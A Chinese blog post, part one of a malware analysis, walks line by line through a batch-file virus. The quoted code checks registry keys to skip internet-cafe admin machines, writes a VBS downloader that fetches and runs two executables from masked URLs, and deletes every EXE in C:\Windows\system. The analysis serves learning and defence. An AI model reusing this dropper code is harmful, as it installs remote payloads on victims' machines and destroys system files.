一个bat病毒分析(part1)

摘要:
我以前没学过蝙蝠,所以我可以通过分析学一点。分析过程可能有点冗长。@echoff在这里关闭echo。病毒通常是秘密执行的。然后,使用setlocalenabledelayedexpansion来设置本地变量延迟,这里具体使用:https://www.jb51.net/article/29323.htm@echooff&设置localenabledelayeddexpansion这里的三个命令是

之前没学过bat,这里借分析顺便学一波,分析过程可能有点啰嗦

这里的@echo off关闭回显,病毒一般都是隐秘的执行的,然后setlocal enabledelayedexpansion是设置本地变量延迟,具体作用在这里:https://www.jb51.net/article/29323.htm

@echo off&setlocal enabledelayedexpansion

 

这里的三个命令都是查找计算机里的超级用户,/v表示查询注册表值,>nul 2>nul表示无论执行成功还是失败都不显示结果。然后如果找到了注册表里的值(存在某个超级用户),就跳转到相关的地方继续执行。

reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetiCafe8 /v Admin>nul 2>nul&&call :is_admin_icafe
reg query HKEY_LOCAL_MACHINESOFTWAREEYOOCLIENTSTATUS /v SuperLogin>nul 2>nul&&call :is_admin_eyoo
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSet /v superadmin>nul 2>nul&&call :is_admin_yungengxin

这里就跳到了各个标志处继续执行,目的都是一样,其中/f是解析文本,读字符串用;"delims="以空格定界符号,%IsAdmin:~-1%是提取IsAmin的最后一个字符。三个语句都是检测是否存在超级用户,是就执行goto superadmin,执行结束,否则就执行goto :eof,等待其他输入。这里有个很奇怪的是,我去搜索了一下,一般都是网吧的管理系统才会有这个超级管理员的注册表值,这个病毒为什么自动躲避网吧????

:is_admin_icafe
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSeticafe8 /v Admin') do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof

:is_admin_eyoo
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINESOFTWAREEYOOCLIENTSTATUS /v SuperLogin') do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof

:is_admin_yungengxin
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSet /v superadmin') do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof

:superadmin
exit

 一个bat病毒分析(part1)第1张

一个bat病毒分析(part1)第2张

这里是下载两个exe到c盘下(网址抹掉了),然后删除c:windowssystem下所有的exe,/q取消删除确认,然后执行结束

::Download one or more programs and run the programs
call :geticon http://xxxx/xx/zc005.exe C:Windowssystemzc005.exe
call :geticon http://xxxx/xx/zjzc6.exe C:Windowssystemzjzc6.exe
del c:windowssystem*.exe /q
exit

 我们看一下下载文件的地方,就是在temp临时目录生成一个vbs文件

:geticon url path
echo strFileURL="%1">%temp%boot.vbs
echo strHDLocation="%2">>%temp%boot.vbs
echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>>%temp%boot.vbs
echo objXMLHTTP.open "GET", strFileURL, false>>%temp%boot.vbs
echo objXMLHTTP.send()>>%temp%boot.vbs
echo If objXMLHTTP.Status=200 Then>>%temp%boot.vbs
echo     Set objADOStream=CreateObject("ADODB.Stream")>>%temp%boot.vbs
echo     objADOStream.Open>>%temp%boot.vbs
echo     objADOStream.Type^=^1>>%temp%boot.vbs
echo     objADOStream.Write objXMLHTTP.ResponseBody>>%temp%boot.vbs
echo     objADOStream.Position^=^0>>%temp%boot.vbs
echo     Set objFSO=Createobject("Scripting.FileSystemObject")>>%temp%boot.vbs
echo     If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation>>%temp%boot.vbs
echo     Set objFSO=Nothing>>%temp%boot.vbs
echo     objADOStream.SaveToFile strHDLocation>>%temp%boot.vbs
echo     objADOStream.Close>>%temp%boot.vbs
echo     Set objADOStream=Nothing>>%temp%boot.vbs
echo End if>>%temp%boot.vbs
echo Set objXMLHTTP=Nothing>>%temp%boot.vbs
cscript //nologo //e:vbscript %temp%/boot.vbs
del %temp%oot.vbs /q
if exist %2 start "" %2
goto :eof

 

 这里就是vbs执行的流程

strFileURL=http://xxxx/xx/zc005.exe                '目标URL
strHDLocation=C:Windowssystemzc005.exe        '存放地址
Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")    '创建一个MSXML2.XMLHTTP对象用来抓取网页数据
objXMLHTTP.open "GET", strFileURL, false        'get方式访问url获取响应信息
objXMLHTTP.send()
If objXMLHTTP.Status=200 Then                    '判断是否访问到页面
    Set objADOStream=CreateObject("ADODB.Stream")    'ADODB.Stream用来数据传输    
    objADOStream.Open
    objADOStream.Type^=^1                        '以二进制形式读取文件
    objADOStream.Write objXMLHTTP.ResponseBody    '数据写入对象,.ResponseBody:表示可以返回HTTP响应的几种形式之一
    objADOStream.Position^=^0                    '指示开始读取的位置
    Set objFSO=Createobject("Scripting.FileSystemObject")    '创建Scripting.FileSystemObject
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation    '检测是否存在目标目录,存在就删除文件
    Set objFSO=Nothing
    objADOStream.SaveToFile strHDLocation        '写入到目标路径
    objADOStream.Close
    Set objADOStream=Nothing
End if
Set objXMLHTTP=Nothing

最后这里就是用cscript执行脚本下载那两个exe下来,然后删除vbs脚本,最后再检测到目标文件就运行exe

cscript //nologo //e:vbscript %temp%/boot.vbs
del %temp%oot.vbs /q
if exist %2 start "" %2
goto :eof

这就是那两个exe,不过目标网站已经被封了,这里感谢大佬发的样品,我们会在part2分析那两个exe

 一个bat病毒分析(part1)第3张

免责声明:文章转载自《一个bat病毒分析(part1)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇常用开源库介绍Doskey命令详解下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

BAT教程 :第一节(批处理基础)

各位非常批处理的朋友们,现在我们开始学习批处理新手系列教学的第一课!(适合没有编程经验的朋友)    按照惯例,先讲一下什么是"批处理".顾名思义,批处理就是把一批或者说是一条条命令放在一个文本里,然后批量执行!执行这一批命令的文件的扩展名是BAT或者CMD,把任何一批命令放入在有这样扩展名的文件里,执行时里面的命令就会一条条的执行完,当然我们还可以在其中...

VBS基本知识

由于一些需要,开始学习VBS了。此篇文章一直将处于编辑添加状态。 1、VBS简介      VBS 即VBScript(Microsoft Visual Basic Script Editon),是微软开发的一套脚本语言。其详细介绍,网上可以找到很多资料。直接开始学习语言的各种特性吧。 2、VBS的编辑工具。      可以直接使用电脑自带的记事本。编辑完...

Vlmcsd(KMS)激活服务器程序

1、下载vlmcsd程序 2-1、虚拟机版本: 新建Linux虚拟机,硬件仅保留内存(最小14MB,推荐16MB)、处理器(1个1核心)、软盘(指向floppy144.flp)、网络适配器(桥接模式)、显示器 切换 Alt+2用户:root口令:vlmcsd,登陆后更改ip: 修改IP地址:ifconfig eth0 211.65.227.* netma...

VBS 操作Excel的常用方法

创建并操作Excel对象。 '使用ComObj创建Excel对象 oExcel = CreateObject( "Excel.Application" ) '显示当前窗口 oExcel.Visible = True '更改标题栏 oExcel.Caption = "XXX" '新建 oExcel.WorkBooks.Add '打开 oExcel.W...

Office365激活(无需密钥,无需下载软件)

1、关闭安全软件 2、新建一个文本文件,copy如下代码到一个文本文件中(如果步骤1中没有关闭安全软件,安全软件会检测如下代码为病毒会删掉这个文本文件) @echo off title Activate Office 365 ProPlus for FREE - MSGuides.com&cls&echo =================...

如何让bat文件已管理员身份运行

有些批bai处理需要很高的权限执du行才能达到我们所需要的zhi效果,将以下代码放到批处理最顶部就可以实现以管理员身份运行了。 @echo off >nul 2>&1 "%SYSTEMROOT%system32cacls.exe" "%SYSTEMROOT%system32configsystem"if '%errorlevel%' N...